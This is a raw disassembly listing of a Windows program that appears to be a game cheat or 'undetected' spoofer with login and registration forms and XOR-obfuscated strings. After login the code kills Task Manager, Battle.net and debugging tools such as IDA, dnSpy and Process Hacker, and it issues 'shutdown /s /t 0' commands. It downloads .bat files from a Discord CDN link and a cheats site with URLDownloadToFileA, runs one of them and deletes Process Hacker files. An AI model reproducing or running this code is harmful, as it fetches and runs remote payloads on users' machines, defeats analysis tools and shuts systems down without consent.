call fcn.1400f7e70
call fcn.1400f63c0
call fcn.1400f63c0
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039cea8]
lea rcx, [rsp + 0x228]
call fcn.14005eef0
lea rdx, [rsp + 0x228]
lea rcx, str.INSTURCTIONS
call fcn.1400f5190
movzx eax, al
call fcn.1400f6410
lea rcx, str.____________STATUS:UNDETECTED
call fcn.1400f43b0
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 4
jne 0x14006ebbd
call fcn.1400cdcb0
addss xmm0, dword [0x14039ce28]
call fcn.1400cdd60
lea rcx, str.Username:
call fcn.1400f43b0
movss xmm1, dword [0x14039cef4]
movss xmm0, dword [0x14039ce50]
call fcn.1400cdb80
mov rax, qword [rsp + 0xeac0]
add rax, 0x1da
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, reloc.WLDAP32.dll_Ordinal_50
mov rdx, rax
lea rcx, str.Usernameupgrade
call fcn.1400f7f00
lea rcx, str.New_License:
call fcn.1400f43b0
movss xmm1, dword [0x14039cef4]
movss xmm0, dword [0x14039ce50]
call fcn.1400cdb80
mov rax, qword [rsp + 0xeac0]
add rax, 0x1a8
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x8000
mov r8d, reloc.WLDAP32.dll_Ordinal_50
mov rdx, rax
lea rcx, str.Licenseupgrade
call fcn.1400f7f00
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 2
jne 0x14006fa45
call fcn.1400f6410
call fcn.1400f6410
call fcn.1400f6410
movss xmm1, dword [0x14039cef4]
movss xmm0, dword [0x14039ce40]
call fcn.1400cdb80
lea rcx, str.Username:
call fcn.1400f43b0
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
mov rax, qword [rsp + 0xeac0]
add rax, 0x168
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, reloc.WS2_32.dll_ntohl
mov rdx, rax
lea rcx, str.Usernamereg
call fcn.1400f7f00
call fcn.1400f6410
movss xmm1, dword [0x14039cef4]
movss xmm0, dword [0x14039ce40]
call fcn.1400cdb80
lea rcx, str.Password:
call fcn.1400f43b0
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
mov rax, qword [rsp + 0xeac0]
add rax, 0x176
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x8000
mov r8d, reloc.WLDAP32.dll_Ordinal_50
mov rdx, rax
lea rcx, str.Passwordreg
call fcn.1400f7f00
call fcn.1400f6410
movss xmm1, dword [0x14039cef4]
movss xmm0, dword [0x14039ce40]
call fcn.1400cdb80
xor eax, eax
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str._License:
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x78], al
mov eax, 1
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str._License:
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x79], al
mov eax, 2
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str._License:
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x7a], al
mov eax, 3
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str._License:
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x7b], al
mov eax, 4
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str._License:
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x7c], al
mov eax, 5
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str._License:
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x7d], al
mov eax, 6
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str._License:
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x7e], al
mov eax, 7
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str._License:
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x7f], al
mov eax, 8
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str._License:
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x80], al
mov byte [rsp + 0x81], 0
mov byte [rsp + 0x82], 1
lea rcx, [rsp + 0x78]
call fcn.1400667d0
mov rcx, rax
call fcn.1400f43b0
movss xmm1, dword [0x14039cef4]
xorps xmm0, xmm0
call fcn.1400cdb80
xor eax, eax
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.key
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x54], al
mov eax, 1
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.key
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x55], al
mov eax, 2
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.key
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x56], al
mov eax, 3
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.key
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x57], al
mov eax, 4
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.key
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x58], al
mov byte [rsp + 0x59], 0
mov byte [rsp + 0x5a], 1
mov rax, qword [rsp + 0xeac0]
add rax, 0x136
mov qword [rsp + 0x230], rax
lea rcx, [rsp + 0x54]
call fcn.140066770
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, reloc.WLDAP32.dll_Ordinal_50
mov rcx, qword [rsp + 0x230]
mov rdx, rcx
mov rcx, rax
call fcn.1400f7f00
movss xmm2, dword [0x14039ce94]
movss xmm1, dword [0x14039ce9c]
lea rcx, [rsp + 0x238]
call fcn.14005eef0
lea rcx, [rsp + 0x238]
call fcn.1400cdce0
movss xmm2, dword [0x14039ce20]
movss xmm1, dword [0x14039ce4c]
lea rcx, [rsp + 0x240]
call fcn.14005eef0
xor eax, eax
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Register
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x68], al
mov eax, 1
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Register
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x69], al
mov eax, 2
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Register
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x6a], al
mov eax, 3
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Register
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x6b], al
mov eax, 4
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Register
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x6c], al
mov eax, 5
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Register
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x6d], al
mov eax, 6
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Register
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x6e], al
mov eax, 7
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Register
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x6f], al
mov byte [rsp + 0x70], 0
mov byte [rsp + 0x71], 1
lea rcx, [rsp + 0x68]
call fcn.1400667a0
lea rdx, [rsp + 0x240]
mov rcx, rax
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x14006f9ca
mov rax, qword [rsp + 0xeac0]
add rax, 0x176
mov rdx, rax
lea rcx, [rsp + 0x8958]
call fcn.14005d9d0
mov qword [rsp + 0x248], rax
mov rcx, qword [rsp + 0x248]
call fcn.14005ecc0
mov dword [rsp + 0x17c], eax
lea rcx, [rsp + 0x8958]
call fcn.14005d8e0
mov rax, qword [rsp + 0xeac0]
add rax, 0x168
mov rdx, rax
lea rcx, [rsp + 0x8978]
call fcn.14005d9d0
mov qword [rsp + 0x250], rax
mov rcx, qword [rsp + 0x250]
call fcn.14005ecc0
mov dword [rsp + 0x178], eax
lea rcx, [rsp + 0x8978]
call fcn.14005d8e0
mov rax, qword [rsp + 0xeac0]
add rax, 0x168
mov rdx, rax
lea rcx, [rsp + 0x8998]
call fcn.14005d9d0
mov qword [rsp + 0x258], rax
mov rcx, qword [rsp + 0x258]
call fcn.14005d8c0
mov byte [rsp + 0x50], al
lea rcx, [rsp + 0x8998]
call fcn.14005d8e0
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x14006f248
mov rax, qword [rsp + 0xeac0]
add rax, 0x60
lea rdx, str.No_Username_
mov rcx, rax
call fcn.1400acc00
xor edx, edx
lea rcx, str.warn
call fcn.1400ceb70
jmp 0x14006f9ca
cmp dword [rsp + 0x178], 4
jg 0x14006f280
mov rax, qword [rsp + 0xeac0]
add rax, 0x60
lea rdx, str.Username_must_be_greater_than_4_Characters_
mov rcx, rax
call fcn.1400acc00
xor edx, edx
lea rcx, str.warn
call fcn.1400ceb70
jmp 0x14006f9ca
mov rax, qword [rsp + 0xeac0]
add rax, 0x176
mov rdx, rax
lea rcx, [rsp + 0x89b8]
call fcn.14005d9d0
mov qword [rsp + 0x260], rax
mov rcx, qword [rsp + 0x260]
call fcn.14005d8c0
mov byte [rsp + 0x51], al
lea rcx, [rsp + 0x89b8]
call fcn.14005d8e0
movzx eax, byte [rsp + 0x51]
test eax, eax
je 0x14006f2fb
mov rax, qword [rsp + 0xeac0]
add rax, 0x60
lea rdx, str.No_Password_
mov rcx, rax
call fcn.1400acc00
xor edx, edx
lea rcx, str.warn
call fcn.1400ceb70
jmp 0x14006f9ca
cmp dword [rsp + 0x17c], 4
jg 0x14006f333
mov rax, qword [rsp + 0xeac0]
add rax, 0x60
lea rdx, str.Password_must_be_greater_than_4_Characters_
mov rcx, rax
call fcn.1400acc00
xor edx, edx
lea rcx, str.warn
call fcn.1400ceb70
jmp 0x14006f9ca
mov rax, qword [rsp + 0xeac0]
add rax, 0x136
mov rdx, rax
lea rcx, [rsp + 0x89d8]
call fcn.14005d9d0
mov qword [rsp + 0x268], rax
mov rcx, qword [rsp + 0x268]
call fcn.14005d8c0
mov byte [rsp + 0x52], al
lea rcx, [rsp + 0x89d8]
call fcn.14005d8e0
movzx eax, byte [rsp + 0x52]
test eax, eax
je 0x14006f3ae
mov rax, qword [rsp + 0xeac0]
add rax, 0x60
lea rdx, str.No_License_
mov rcx, rax
call fcn.1400acc00
xor edx, edx
lea rcx, str.warn
call fcn.1400ceb70
jmp 0x14006f9ca
lea rax, [rsp + 0xa238]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0xeac0]
add rax, 0x136
mov rdx, rax
mov rcx, qword [rsp + 0x270]
call fcn.14005d9d0
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x2b0], rax
lea rax, [rsp + 0xa258]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0xeac0]
add rax, 0x176
mov rdx, rax
mov rcx, qword [rsp + 0x288]
call fcn.14005d9d0
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0xa278]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0xeac0]
add rax, 0x168
mov rdx, rax
mov rcx, qword [rsp + 0x2a0]
call fcn.14005d9d0
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x2c0], rax
mov r9, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x2b8]
mov rdx, qword [rsp + 0x2c0]
lea rcx, [0x140407010]
call fcn.140067d20
movzx eax, byte [0x140406e90]
test eax, eax
jne 0x14006f9ca
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0xeac0]
lea rax, [rcx + rax + 0x168]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_ntohl
rep stosb byte [rdi], al
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0xeac0]
lea rax, [rcx + rax + 0x176]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WLDAP32.dll_Ordinal_50
rep stosb byte [rdi], al
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0xeac0]
lea rax, [rcx + rax + 0x136]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WLDAP32.dll_Ordinal_50
rep stosb byte [rdi], al
xor eax, eax
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd0], al
mov eax, 1
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd1], al
mov eax, 2
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd2], al
mov eax, 3
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd3], al
mov eax, 4
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd4], al
mov eax, 5
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd5], al
mov eax, 6
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd6], al
mov eax, 7
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd7], al
mov eax, 8
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd8], al
mov eax, 9
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xd9], al
mov eax, 0xa
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xda], al
mov eax, ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xdb], al
mov eax, ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xdc], al
mov eax, reloc.WS2_32.dll_listen
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xdd], al
mov eax, reloc.WS2_32.dll_ntohl
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xde], al
mov eax, reloc.WS2_32.dll_ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xdf], al
mov eax, reloc.WS2_32.dll_recv
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xe0], al
mov eax, reloc.WS2_32.dll_recvfrom
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xe1], al
mov eax, reloc.WS2_32.dll_select
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xe2], al
mov eax, reloc.WS2_32.dll_send
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xe3], al
mov eax, reloc.WS2_32.dll_sendto
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xe4], al
mov eax, reloc.WS2_32.dll_setsockopt
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xe5], al
mov eax, reloc.WS2_32.dll_shutdown
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xe6], al
mov eax, reloc.WS2_32.dll_socket
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Successfully_registered_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xe7], al
mov byte [rsp + 0xe8], 0
mov byte [rsp + 0xe9], 1
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x2c8], rax
lea rdx, [rsp + 0x89f8]
mov rcx, qword [rsp + 0x2c8]
call fcn.1400ab2d0
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0xeac0]
mov rdx, qword [rsp + 0x2d0]
mov rcx, rax
call fcn.14005d940
lea rcx, [rsp + 0x89f8]
call fcn.14005d8e0
mov rax, qword [rsp + 0xeac0]
mov byte [rax + 0x210], 1
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 0
call fcn.1400cdc80
addss xmm0, dword [0x14039cebc]
movss xmm1, dword [0x14039cef4]
call fcn.1400cdb80
lea rcx, [rsp + 0x1cd8]
call fcn.1400cdc30
mov rax, qword [rax]
mov qword [0x140406dd8], rax
movss xmm2, dword [0x14039ce20]
movss xmm1, dword [0x14039ce4c]
lea rcx, [rsp + 0x2d8]
call fcn.14005eef0
lea rdx, [rsp + 0x2d8]
lea rcx, str.Backlog1
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x14006fa45
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 3
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 3
jne 0x14007021f
call fcn.1400f6410
lea rcx, str.____________________Username:
call fcn.1400f43b0
movss xmm2, dword [0x14039ce34]
movss xmm1, dword [0x14039ce28]
lea rcx, [rsp + 0x2e0]
call fcn.14005eef0
lea rcx, [rsp + 0x2e0]
call fcn.1400cdce0
mov rax, qword [rsp + 0xeac0]
add rax, 0xd2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, reloc.WLDAP32.dll_Ordinal_50
mov rdx, rax
lea rcx, str.User
call fcn.1400f7f00
call fcn.1400f6410
lea rcx, str.____________________Password:
call fcn.1400f43b0
movss xmm2, dword [0x14039ce78]
movss xmm1, dword [0x14039ce28]
lea rcx, [rsp + 0x2e8]
call fcn.14005eef0
lea rcx, [rsp + 0x2e8]
call fcn.1400cdce0
mov rax, qword [rsp + 0xeac0]
add rax, 0x104
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x8000
mov r8d, reloc.WLDAP32.dll_Ordinal_50
mov rdx, rax
lea rcx, str.Password
call fcn.1400f7f00
movss xmm2, dword [0x14039ce94]
movss xmm1, dword [0x14039ce08]
lea rcx, [rsp + 0x2f0]
call fcn.14005eef0
lea rcx, [rsp + 0x2f0]
call fcn.1400cdce0
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039cea4]
lea rcx, [rsp + 0x2f8]
call fcn.14005eef0
lea rdx, [rsp + 0x2f8]
lea rcx, str.Loginlog2
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x1400701bb
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr__C:WindowsSystem32_shutdown__s__t_0
call fcn.1402b6aa8
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr__C:WindowsSystem32_shutdown__s__f__t_0
call fcn.1402b6aa8
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd010]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xcff0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcff0]
call fcn.14005d8d0
mov qword [rsp + 0x300], rax
lea rcx, [rsp + 0xd010]
call fcn.14005d8d0
mov qword [rsp + 0x308], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x300]
mov rdx, qword [rsp + 0x308]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_deletemetounspoof.bat
lea rcx, [rsp + 0xcfd0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adodeletemetounspoof.bat
lea rcx, [rsp + 0xcfb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcfb0]
call fcn.14005d8d0
mov qword [rsp + 0x310], rax
lea rcx, [rsp + 0xcfd0]
call fcn.14005d8d0
mov qword [rsp + 0x318], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x310]
mov rdx, qword [rsp + 0x318]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adodeletemetounspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsProcess_Hacker_2.exe
call fcn.1402b632c
lea rcx, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsprocesshacker.exe
call fcn.1402b632c
lea rcx, str.C:processhacker.exe
call fcn.1402b632c
lea rcx, str.C:Process_Hacker_2.exe
call fcn.1402b632c
lea rcx, str.C:Process_Hacker_2
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
